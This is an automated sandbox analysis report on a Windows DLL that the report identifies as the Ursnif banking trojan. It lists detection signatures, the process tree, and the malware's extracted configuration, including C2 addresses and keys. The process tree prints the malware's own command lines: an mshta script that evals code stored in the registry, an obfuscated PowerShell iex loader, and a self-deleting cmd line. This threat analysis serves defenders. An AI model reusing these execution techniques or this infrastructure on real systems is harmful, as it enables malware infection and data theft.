Joe Sandbox Cloud Basic Analysis Report

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Windows Analysis Report
FJHd.cyVNM

Overview

General Information

Sample Name:FJHd.cyVNM (renamed file extension from cyVNM to dll)
Analysis ID:613875
MD5:99ff80925202286d75030a1cae587249
SHA1:eb5611f49fbf6fcc73dbdb23b27b1237cb6df5ef
SHA256:e100b492468b71cd42e556b9c5c59e3cf5d7b2f1426e2388102c71f8ba997012
Tags:dll
Infos:

Detection

Ursnif
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Found malware configuration
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Sigma detected: Windows Shell File Write to Suspicious Folder
Maps a DLL or memory area into another process
Sigma detected: Accessing WinAPI in PowerShell. Code Injection
Machine Learning detection for sample
Allocates memory in foreign processes
Self deletion via cmd delete
Sigma detected: MSHTA Spawning Windows Shell
Sigma detected: Suspicious Call by Ordinal
Creates a thread in another existing process (thread injection)
Disables SPDY (HTTP compression, likely to perform web injects)
Writes registry values via WMI
Writes to foreign memory regions
Changes memory attributes in foreign processes to executable or writable
Sigma detected: Suspicious Remote Thread Created
Uses ping.exe to check the status of other devices and networks
Uses ping.exe to sleep
Injects code into the Windows Explorer (explorer.exe)
Modifies the context of a thread in another process (thread injection)
Sigma detected: Mshta Spawning Windows Shell
One or more processes crash
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Found evasive API chain (date check)
Detected potential crypto function
Contains functionality to launch a process as a different user
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to dynamically determine API calls
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Searches for the Microsoft Outlook file path
Drops PE files
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Checks if the current process is being debugged
Compiles C# or VB.Net code
Creates a process in suspended mode (likely to inject code)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Internet Provider seen in connection with other malware
Contains functionality to query CPU information (cpuid)
Contains functionality to call native functions
Found dropped PE file which has not been started or loaded
Enables debug privileges
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Sigma detected: Suspicious Csc.exe Source File Folder
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

  • System is w10x64
  • loaddll32.exe (PID: 5920 cmdline: loaddll32.exe "C:\Users\user\Desktop\FJHd.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)
    • cmd.exe (PID: 5512 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\FJHd.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • rundll32.exe (PID: 3556 cmdline: rundll32.exe "C:\Users\user\Desktop\FJHd.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
        • control.exe (PID: 5004 cmdline: C:\Windows\system32\control.exe -h MD5: 625DAC87CB5D7D44C5CA1DA57898065F)
          • explorer.exe (PID: 3616 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)
            • cmd.exe (PID: 1332 cmdline: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\FJHd.dll MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
              • conhost.exe (PID: 896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
              • PING.EXE (PID: 6824 cmdline: ping localhost -n 5 MD5: 6A7389ECE70FB97BFE9A570DB4ACCC3B)
            • RuntimeBroker.exe (PID: 4440 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: C7E36B4A5D9E6AC600DD7A0E0D52DAC5)
            • cmd.exe (PID: 796 cmdline: cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user\AppData\Local\Temp\468A.bi1" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
    • WerFault.exe (PID: 276 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5920 -s 608 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
    • WerFault.exe (PID: 160 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5920 -s 616 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
    • WerFault.exe (PID: 3388 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5920 -s 624 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
  • mshta.exe (PID: 6888 cmdline: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Itsr='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Itsr).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script> MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)
    • powershell.exe (PID: 6988 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name odplrrfmw -value gp; new-alias -name kwgncu -value iex; kwgncu ([System.Text.Encoding]::ASCII.GetString((odplrrfmw "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) MD5: 95000560239032BC68B4C2FDFCDEF913)
      • conhost.exe (PID: 6996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • csc.exe (PID: 7140 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\orc3dje1\orc3dje1.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 5144 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7801.tmp" "c:\Users\user\AppData\Local\Temp\orc3dje1\CSC484D58AD96A04716AF76ED185C4114F3.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
      • csc.exe (PID: 2472 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rhslligv\rhslligv.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 4932 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA3C4.tmp" "c:\Users\user\AppData\Local\Temp\rhslligv\CSCABF9A05FBB0E449F8B3B2656C9A8A1FD.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
  • cleanup

Malware Configuration

Threatname: Ursnif

{"RSA Public Key": "pL7U8jIQ6Xyci+KwkOGf1cPW2/Fhd+dF//sxc+w06EDUcByHCNEeq3AMzyjoircBRXTmPPIhcdpmz3ebzg0LE5DJtHXLGNdffU4pfKjfVhDmO/39S4DkofaSw/DfVYS7XTULsvD4OgcLpBmdb9KtHDr5tcYukmu8ER2eGMJKWWH3QPIgCCGjluPn4AJBYaVv+PYiV87aKNKmQY2QyHTRdeOeR6t/zjeQ8WAxQr1ckNg8DXeFDVPzLqKlTMh9JNV1/WxJWw/i0NwLqKGVqwwhDZj7TdIN07N7A3Nsw4LKUmopfR2v3CfaFAElEJJF5iXQZdDs3LWMU3fma/lDGlnr41o8sOGT4DKtfI59bD0qne8=", "c2_domain": ["config.edge.skype.com", "67.43.234.14", "config.edge.skype.com", "67.43.234.37", "config.edge.skype.com", "67.43.234.47"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Q8tR9QJN7lLzOLle", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "movie_capture": "30, 8,  *terminal* *debug**snif* *shark*", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "999", "SetWaitableTimer_value": "1"}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
0000001B.00000000.435106248.0000000000EB0000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
    00000003.00000002.486684072.0000000004560000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
      00000003.00000003.356682444.00000000050F9000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
        00000003.00000003.309518465.0000000005178000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
          00000003.00000003.309651114.0000000005178000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security